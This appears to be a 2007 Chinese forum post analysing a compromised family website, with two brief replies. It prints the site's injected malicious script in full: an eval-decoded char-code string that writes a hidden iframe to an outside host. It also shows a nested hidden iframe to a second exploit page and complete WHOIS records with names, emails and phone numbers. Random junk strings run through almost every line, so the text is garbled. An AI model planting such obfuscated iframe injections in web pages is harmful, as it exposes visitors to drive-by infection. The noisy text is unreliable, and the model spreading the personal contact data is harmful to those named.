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[原创]一篇刚写的分析木马手记

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所在楼道

首发在我的博客里面, n#F:(MSOp  
O}Y& @V%4k  
http://www.areway.cn/?p=175 VKI`@rY4  
@w?y;W!a>  
_ISIq3A?  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: `;?`XC"m  
          WvV!F?uqZ  
<script>t=’60,105,102,114,97,109,101, IGKF&s*;{[  
32,115,114,99,61,104,116,116,112,58,47,47, 8_yhV{  
102,114,101,101,46,117,45,117,117,117,46,99, W dM?{; #  
110,47,101,114,114,111,114,46,104,116,109, H{ Fww4pn  
32,119,105,100,116,104,61,49,48,48,32,104, ^! ?wh  
101,105,103,104,116,61,48,62,60,47,105,102, ma__LWKM,  
114,97,109,101,62′; ces|HPBa&6  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> :Kc9k(3&r  
                                                                                                  l_Ee us  
<script>t=’60,105,102,114,97,109,101,32,115, ;8!L*uMI  
114,99,61,104,116,116,112,58,47,47,102,114, (yh zjN~  
101,101,46,117,45,117,117,117,46,99,110,47, g9N_s,3jC  
101,114,114,111,114,46,104,116,109,32,119, oT=XCa5  
105,100,116,104,61,49,48,48,32,104,101,105, x6-bAf  
103,104,116,61,48,62,60,47,105,102,114,97, ~!bA<q  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ' 3h"Ol{b  
document.write(t);</script> /XfE6SBz  
                                                                                                  rd#O ]   
<html xmlns=” o5k7$0:t/  
http://www.w3.org/1999/xhtml hq.XO=0"k  
“> M$@Donx  
<head> o*\Fj}l-  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> QzV Q}  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> VV'K$v3'N8  
<title>首页 - 爱生活家庭网 x=Ef0v  
                                                                                                                                                    ?g7O([*[  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 E@uxEF  
转换字符串后的大概内容是(谁点击后果自付): iLd_{  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 2<"kfa n  
                                                                                                                                  J0%e6{C1  
查询玉米u-uuu.cn的详细信息: #* KmPc+  
Domain Name: u-uuu.cn Ze?(N~  
ROID: 20070901s10001s64972306-cn 1?!z<<  
Domain Status: ok gHL v zm  
Registrant Organization: 王雷 o \r6 iO  
Registrant Name: 王雷 ^)\z  
Administrative Email: czlovexs@126.com S.i CkX  
Sponsoring Registrar: 北京万网志成科技有限公司 *Fb|iR  
Name Server:ns.yovole.com 3b9SyU2  
Name Server:ns1.yovole.com k;)t}7(  
Registration Date: 2007-09-01 17:54 PG@Uygahu  
Expiration Date: 2008-09-01 17:54 Y*}xD;c k  
最后PING了一下地址 都没有什么…. G]DSwtB?D  
                                                                                                vh29mzum  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ONc-jU^  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Qv v~nGq$  
<script language=”javascript” src=” Aw7oyC!  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script hXF#KVqx  
> cN]e{|  
这个玉米应该有可能是木马作者的: _s(izc  
foafau.info的详细信息: k|kn#X3X  
Access to INFO WHOIS information is provided to assist persons in A9:dHOmT^U  
determining the contents of a domain name registration record in the !Z0p94L  
Afilias registry database. The data in this record is provided by iS/faXe5  
Afilias Limited for informational purposes only, and Afilias does not f_{O U E  
guarantee its accuracy.  This service is intended only for query-based vC j, aSW  
access. You agree that you will use this data only for lawful purposes R WfC2$z  
and that, under no circumstances will you use this data to: (a) allow, \DDR l{  
enable, or otherwise support the transmission by e-mail, telephone, or p|q}z/  
facsimile of mass unsolicited, commercial advertising or solicitations CVa?L"lK  
to entities other than the data recipient’s own existing customers; or U&PwEh4uG  
(b) enable high volume, automated, electronic processes that send U/p|X)  
queries or data to the systems of Registry Operator, a Registrar, or ke~S[bL%-  
Afilias except as reasonably necessary to register domain names or # Vq"Cf  
modify existing registrations. All rights reserved. Afilias reserves o?T01t=  
the right to modify these terms at any time. By submitting this query, 7ThGF  
you agree to abide by this policy. L5wrc4  
Domain ID:D22418703-LRMS szZ8-Y  
Domain Name:FOAFAU.INFO 7QnQ=gu  
Created On:20-Nov-2007 16:05:42 UTC @U)k~z2Hk  
Last Updated On:20-Nov-2007 16:05:44 UTC ,o?yS>L_r  
Expiration Date:20-Nov-2008 16:05:42 UTC O /S:S  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) czp .q  
Status:CLIENT DELETE PROHIBITED K1*oYHB  
Status:CLIENT RENEW PROHIBITED 1kDr;.m%  
Status:CLIENT TRANSFER PROHIBITED {(00,6M)i  
Status:CLIENT UPDATE PROHIBITED h3udS{9 '8  
Status:TRANSFER PROHIBITED \os iY ^  
Registrant ID:GODA-040110615 5:T)hoF@  
Registrant Name:liu hong <0%X:q<  
Registrant Organization: 94Hs.S)  
Registrant Street1:beijing "{1SDbwmMo  
Registrant Street2: $t1XoL  
Registrant Street3: Z` ;.62S  
Registrant City:beijing 6Z:swgi6&  
Registrant State/Province: ue/GB+U  
Registrant Postal Code:100000 :)PAj  
Registrant Country:CN D=!e6E<>@  
Registrant Phone:+86.860108888777 jdEqa$CXG  
Registrant Phone Ext.: _7k6hVQ  
Registrant FAX: -_4ZT^.Lna  
Registrant FAX Ext.: M8,_E\*  
Registrant Email:bbbshiji@163.com .5ItH^  
Admin ID:GODA-240110615 s{30#^1R  
Admin Name:liu hong S1`;2mAf*  
Admin Organization: 2)W~7GED  
Admin Street1:beijing }BR@vY'd  
Admin Street2: bAd$ >DI[  
Admin Street3:  Ie<`WU K  
Admin City:beijing p%?VW  
Admin State/Province: /&T"w,D  
Admin Postal Code:100000 vz^w %67&  
Admin Country:CN )ld !(d=  
Admin Phone:+86.860108888777 Gv$}>YJ  
Admin Phone Ext.: :SUU)jLq  
Admin FAX: /4Q^L>a  
Admin FAX Ext.: ~AX@o-WU  
Admin Email:bbbshiji@163.com 6q8b>LG|  
Billing ID:GODA-340110615 u#>*"4Q  
Billing Name:liu hong %K$f2):  
Billing Organization: YtWO=+rX  
Billing Street1:beijing ;FI"N@z  
Billing Street2: *pOdM0AE  
Billing Street3: |V>_l' /  
Billing City:beijing kpQXnDm 2  
Billing State/Province: !K0:0:  
Billing Postal Code:100000 zHT22o56X  
Billing Country:CN SFaG`T=  
Billing Phone:+86.860108888777 i_KAD U&mP  
Billing Phone Ext.: 4uSC>  
Billing FAX: .w@o%AO_  
Billing FAX Ext.: dh; L!  
Billing Email:bbbshiji@163.com B0&W wa:  
Tech ID:GODA-140110615 /Ayo78Pi  
Tech Name:liu hong <q dM  
Tech Organization: {dk%j~w8  
Tech Street1:beijing I8%2tLVY  
Tech Street2:  q\xT  
Tech Street3: [og_0;  
Tech City:beijing p^yuz (  
Tech State/Province: "j<l=l!  
Tech Postal Code:100000 ahnQq9  
Tech Country:CN Ck;>9>  
Tech Phone:+86.860108888777 O:hCUr  
Tech Phone Ext.: RqenPM k  
Tech FAX: ~$@~X*K~  
Tech FAX Ext.: <)J83D0$E  
Tech Email:bbbshiji@163.com b-Q%c xJ  
Name Server:NS27.DOMAINCONTROL.COM /xu#ZZ?8F_  
Name Server:NS28.DOMAINCONTROL.COM 1X7tN2tQ  
Name Server: 7: cmBkXm  
Name Server: th 9I]g^=t  
Name Server: C@$!'^ 61  
Name Server: ~dpU D F  
Name Server: 7w_cKR1;  
Name Server: bL)7 /E  
Name Server: T`?{Is['(  
Name Server: V7pe|]%r  
Name Server: {~lVe GBp  
Name Server: 6')pM&`t  
Name Server: XLeQxp=  
                                                                                                          L+rMBa  
接着下载每个文件里面的代码: Z WVN(U  
一步一步看.. (8$; 4q[!  
a#_=c>h;  
4)zHkN+  
HLa3lUo  
SBNeN]  
&.ENcEic  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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